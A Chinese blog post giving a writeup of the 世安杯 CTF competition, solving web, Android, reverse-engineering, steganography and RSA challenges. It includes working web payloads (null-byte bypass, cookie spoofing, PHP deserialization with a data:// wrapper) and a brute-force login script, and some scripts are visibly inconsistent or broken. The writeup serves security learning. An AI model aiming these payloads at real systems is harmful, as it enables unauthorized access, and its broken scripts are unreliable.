世安杯writeup

鸽了好久的博客,又开始更新了,比赛结束时本该提交的writeup,主办方没收,放出来供大家学习吧。同时感谢DAWN大佬对我的指导和帮助。

1.ctf入门级题目

payload: http://ctf1.shiyanbar.com/shian-rao/?password=lolol%00--

2.曲奇饼

payload: http://ctf1.shiyanbar.com/shian-quqi/index.php?line=0&file=aW5kZXgucGhw

读取index.php文件源码,line=0 line=1 ……
取得源码

<?php
error_reporting(0);
$file=base64_decode(isset($_GET['file'])?$_GET['file']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&file=a2V5LnR4dA==");
$file_list = array(
'0' =>'key.txt',
'1' =>'index.php',
);

if(isset($_COOKIE['key']) && $_COOKIE['key']=='li_lr_480'){
$file_list[2]='thisis_flag.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>

然后用脚本cookie欺骗及遍历源代码

#!/usr/bin/python
import requests
import sys
cookies = {'key': 'li_lr_480'} 
for i in range(0,20): 
   url="http://ctf1.shiyanbar.com/shian-quqi/index.php?line="+str(i)+"&file=dGhpc2lzX2ZsYWcucGhw"
   wp = requests.get(url, cookies=cookies)
   print(wp.text)
print("get flag success")

3.类型

参考链接:http://www.lofter.com/lpost/1e22a551_edddb05

4.登录

写脚本爆破

import re
import requests
session =requests.session()

for x1 in range(10):
	for x2 in range(10):
		for x3 in range(10):
			for x4 in range(10):
				for x5 in range(10):
					str1 = session.get("http://ctf1.shiyanbar.com/shian-s/").content
					pattern = re.compile(r"(?<=<br><br>).*(?=<br><br>	)")
					code = re.findall(pattern,str1)[0]
					flagstr = "http://ctf1.shiyanbar.com/shian-s/index.php?username=admin&password="+str(x1)+str(x2)+str(x3)+str(x4)+str(x5)+"&randcode="+code
					flag = session.get("http://ctf1.shiyanbar.com/shian-s/index.php?username=admin&password=3123&randcode=213").content
					if "{" in flag:
						print str(x1)+str(x2)+str(x3)+str(x4)+str(x5)
						break
					else:
						print flagstr

登录密码:00325

5.admin

Payload:
http://ctf1.shiyanbar.com/shian-du/?user=data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4=&file=class.php&pass=O:4:%22Read%22:1:{s:4:%22file%22;s:10:%22./f1a9.php%22;}

6.console

利用脚本

import hashlib
str1 = [0x2, 0x3, 0x5, 0x7, 0xb, 0xd, 0x11,0x13, 0x17, 0x1d, 0x1f, 0x25, 0x29, 0x2b, 0x2f, 0x35,0x3b, 0x3d, 0x43, 0x47,0x49, 0x4f, 0x53, 0x59, 0x61, 0x65, 0x67, 0x6b, 0x6d, 0x71]
str2 = "CreateByTenshine"
str3 = ""
for i in xrange(len(str2)):
	t= ord(str2[i])
	for j in range(1,15):
		t = str1[j] ^ t
	str3 += chr(t)
for k in xrange(len(str3)):
	if (str3[k] == '-'):
		str3[k] = ''
print str3
m = hashlib.md5()
m.update(str3)
result = m.hexdigest()
print 'flag{' + result + '}' 

9.动态暴力破解

ida查看string字符,找到一个类似flag的值,然后进行移位和凯撒解密,得到flag flag:CTF-BR{riot_in_public_square_vgzdLIEjd}

10.Android

在MainActivity中发现启动之后就向Send_to_Activity这个广播接收器注册了一个action为com.flagstore.ctf.INCOMING_INTENT的广播, 而且界面只有一个to-do: UI pending,在Send_to_Activity的onReceive()方法中可以发现,需要发送一个满足特定条件的广播才能激活进入下一个Activity。 这个特定条件是:
extra中的msg值为:OpenSesame。然后调用android的am工具。不过记住要用root权限,仅仅在adb shell am… 是不能触发的。
adb shell
su
am broadcast -a “com.flagstore.ctf.INCOMING_INTENT” –es msg “OpenSesame”
然后就可以看到界面跳转了。然后出现一个很大的按钮可以点击,然而点击之后,应用就崩溃了 于是静态分析源码。
把这个lib\armeabi-v7a\libnative-lib.so文件拖到IDA中去
找到Exports就可以找到一个函数getPhrase()
然后双击,进入该函数,然后按F5是不行的,搜了一下才知道这时候需要点击右键,然后Create Function。这样再按F5就可以得到C代码了。
其中__stack_chk_guard和__stack_chk_fail()是GCC的堆栈保护机制,其中__stack_chk_guard叫作CANARY(金丝雀)值。
我们发现这一随机值是放在了函数的局部变量和保存的指令指针(译注:此处指返回地址和EBP)之间。这个值被称作金丝雀(“canary”)值,指的是矿工曾利用金丝雀来确认是否有气体泄漏,如果金丝雀因为气体泄漏而中毒死亡,可以给矿工预警。
http://www.freebuf.com/articles/system/24177.html
在#27行中,将_stack_chk_guard保存在v24中,然后再在函数返回之前,#52,#53行将之前保存的值与现在的_stack_chk_guard比较,若两者不一致,金丝雀(canary)的值被修改了,栈溢出发生了,保存的指令指针可能也被修改了,因此不能安全返回,则执行_stack_chk_fail(),然后会丢出一个错误,退出进程。
注意这里的dest, v16, v17, v18, v19, v20等是十进制,可以在IDA里选择将其改成16进制或者字符串。 关于 strncat
头文件:

#inclue <string.h> 

strncat()用于将n个字符追加到字符串的结尾,其原型为:
char * strncat(char *dest, const char *src, size_t n);
strncat()将会从字符串src的开头拷贝n 个字符到dest字符串尾部,dest要有足够的空间来容纳要拷贝的字符串。如果n大于字符串src的长度,那么仅将src全部追加到dest的尾部。
strncat()会将dest字符串最后的’\0’覆盖掉,字符追加完成后,再追加’\0’。
返回字符串dest。
关于strncpy
头文件:

#include <string.h> 

strncpy()用来复制字符串的前n个字符,其原型为:
char * strncpy(char *dest, const char *src, size_t n);
【参数说明】dest 为目标字符串指针,src 为源字符串指针。
【返回值】返回字符串dest。
关于跨平台的移植性
int类型比较特殊,具体的字节数同机器字长和编译器有关。如果要保证移植性,尽量用__int16 __int32 __int64吧。__int16、__int32这种数据类型在所有平台下都分配相同的字节。所以在移植上不存在问题。
建议:在代码中尽量避免使用int类型,根据不同的需要可以用short,long,unsigned int 等代替。
http://www.cppblog.com/xyjzsh/archive/2010/10/20/130554.html
怪不得很多IDA出来的C有很多__int8, __int16, __int32等等。
然后顺便反编译了getFlag

11.简单算法

主函数: 表示v8是什么没搞懂来着,但是看到后面都是v8%22之类的使用,所以直接从0到21遍历了。照着上面的代码跑了一遍就出结果了,只是要注意v8和v15异或时用的是int8,所以和0xff做下与运算再异或就ok啦
Python代码:

str1 =[0x5f,0xf2,0x5e,0x8b,0x4e,0xe,0xa3,0xaa,0xc7,0x93,0x81,0x3d,0x5f,0x74,0xa3,0x9,0x91,0x2b,0x49,0x28,0x93,0x67]
str2 = ""
for i in xrange(22):
    v5= i
    v16= i
    v18= 0
    v15= str1[i]
    v13= i + 1
    v17= 0
    while(v17 < v13):
        v17= v17 + 1
        v18= 0x6d01788d * v18 + 12345
    v4= v18 & 0xffff
    printstr(v15 ^ (v18 & 0xff))
    printstr(hex(v15 ^ (v18 & 0xff)))
    str2+= chr(v15 ^ (v18 & 0xff))
print str2

flag: flag{d826e6926098ef46}

12.low

附上脚本

import cv2
import numpy as np
img = cv2.imread("low.bmp")
out = np.zeros(img.shape,np.uint8)
w,h = img.shape[:2]
for i in range(w):
    for j in range(h):
        if img[i,j,2] %2 != 0:
            out[i,j,0]=255
            out[i,j,1]=255
            out[i,j,2]=255
cv2.imwrite("out.bmp",out)

QQ反转二维码 扫描得到flag

13.斑马斑马

https://online-barcode-reader.inliteresearch.com/
直接在这个网址在线扫描斑马的条形码就可以获得flag

14.CreateByWho

这题主要是三个定位点。先ps成二维码,然后加上三个定位点

15.适合作为桌面的图片

扫描得

03F30D0A79CB05586300000000000000000100000040000000730D0000006400008400005A000064010053280200000063000000000300000016000000430000007378000000640100640200640300640400640500640600640700640300640800640900640A00640600640B00640A00640700640800640C00640C00640D00640E00640900640F006716007D00006410007D0100781E007C0000445D16007D02007C01007400007C0200830100377D0100715500577C010047486400005328110000004E6966000000696C00000069610000006967000000697B000000693300000069380000006935000000693700000069300000006932000000693400000069310000006965000000697D000000740000000028010000007403000000636872280300000074030000007374727404000000666C6167740100000069280000000028000000007304000000312E7079520300000001000000730A0000000001480106010D0114014E280100000052030000002800000000280000000028000000007304000000312E707974080000003C6D6F64756C653E010000007300000000

然后pyc反编译得到py脚本

#!/usr/bin/env python
# encoding: utf-8
def flag():
    str = [
        102,
        108,
        97,
        103,
        123,
        51,
        56,
        97,
        53,
        55,
        48,
        51,
        50,
        48,
        56,
        53,
        52,
        52,
        49,
        101,
        55,
        125]
    flag = ''
    for i in str:
        flag += chr(i)
    
print flag

得到flag{139711e8e9ed545e}

16.ReverseMe

放进hxd发现里面的数据都是反的,重新读入再反序输出就可以了。
脚本如下:

f = open("reverseMe", "rb")
s = f.read()
f.close()
f = open("output.jpg", "wb")
f.write(s[::-1])
f.close()

然后放进PS里面水平翻转就行了。

17.珍妮的QQ号

写个程序跑一下……

18.心仪的公司

找木马名字conf1g.php,追踪TCP流
然后找到Webshell.jpg
找到flag

20.RSA

附上脚本

import gmpy
from Crypto.Util.number import long_to_bytes
n=92164540447138944597127069158431585971338721360079328713704210939368383094265948407248342716209676429509660101179587761913570951794712775006017595393099131542462929920832865544705879355440749903797967940767833598657143883346150948256232023103001435628434505839331854097791025034667912357133996133877280328143 
c = 2044619806634581710230401748541393297937319
e = 3
m = gmpy.root(c, 3)[0]
if pow(m, 3, n) == c:
    print long_to_bytes(m)